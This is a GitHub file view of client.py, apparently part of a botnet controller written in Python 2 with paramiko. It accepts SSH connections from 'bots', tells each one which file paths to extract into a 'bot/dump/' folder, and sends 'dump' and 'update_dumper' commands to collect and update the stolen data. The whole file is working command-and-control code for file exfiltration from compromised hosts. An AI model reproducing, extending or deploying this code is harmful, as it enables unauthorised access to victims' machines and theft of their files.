-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathclient.py
More file actions
69 lines (58 loc) · 1.89 KB
/
client.py
File metadata and controls
69 lines (58 loc) · 1.89 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from ParamikoServer import Server
from paramiko import Transport
from paramiko import RSAKey
import ChannelSSH
from time import time
host_key = RSAKey(filename='./rsa.key')
path_destination = "bot/dump/"
path_source = "bot/paths_to_extract.cnf"
class Client():
def __init__(self, sock, addr):
self.socket = sock
self.address = addr
self.closed = False
self.tags = str(time())
try:
self.transport = Transport(sock)
except Exception:
pass
self.chan = None
def initialise_bot(self):
try:
ChannelSSH.sendToChannel("**LOADPATH**;"+path_destination+";"+self.getAddr()+""+self.tags+";"+path_source,self.chan)
except Exception, e:
print "Initialisation of path: " + str(e)
def connect(self):
try:
self.transport.load_server_moduli()
self.transport.add_server_key(host_key)
server = Server()
self.transport.start_server(server=server)
self.chan = self.transport.accept(100)
except Exception, e:
print "Connection parmiko :"+str(e)
def get_channel(self):
return self.chan
def getAddr(self):
return self.address[0]
def isclosed(self):
return self.closed
def getScock(self):
return self.socket
def close(self):
try:
self.closed = True
self.socket.close()
except Exception:
pass
def toclose(self):
self.closed = True
def dump(self):
print "\n==> Bot: "+str(self.address)+"\n"
ChannelSSH.sendToChannel("dump", self.chan)
print ChannelSSH.receiveFromChannel(self.chan)
def update_dumper(self):
ChannelSSH.sendToChannel("update_dumper", self.chan)
result = ChannelSSH.receiveFromChannel(self.chan)
if not result == "OK":
print result